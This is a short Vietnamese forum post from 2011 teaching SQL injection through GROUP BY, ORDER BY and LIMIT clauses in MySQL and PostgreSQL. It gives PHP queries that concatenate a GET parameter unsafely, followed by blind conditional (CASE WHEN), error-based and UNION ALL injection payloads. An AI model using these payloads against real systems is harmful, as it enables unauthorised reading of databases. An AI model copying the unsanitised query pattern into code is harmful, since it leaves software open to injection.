PDA

View Full Version : Kỹ thuật tấn công Sql Injection thông qua Group by,Order by,Limit



Cơn Gió
15-04-2011, 09:48 AM
Thông thường các bạn thường tấn công SQL Injection theo mệnh đề where trong câu lệnh select.Hôm nay sẽ mở rộng thêm cách tấn công thông qua Group by,Order by,Limit
GROUP BY
vd :đối với MySQL

"SELECT id, name FROM users GROUP BY "
. $_GET['id']
ta có thể biến đổi như sau

SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))
ORDER BY
vd: đối với PostgreSQL


"SELECT id, name FROM users ORDER BY "
. $_GET['id']
thành

SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (điều kiện) THEN 1 ELSE
1/0 END))
LIMIT
vd: đối với MySQL

"SELECT id, name FROM users LIMIT 0, "
. $_GET['id']
thành

SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (điều kiện)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL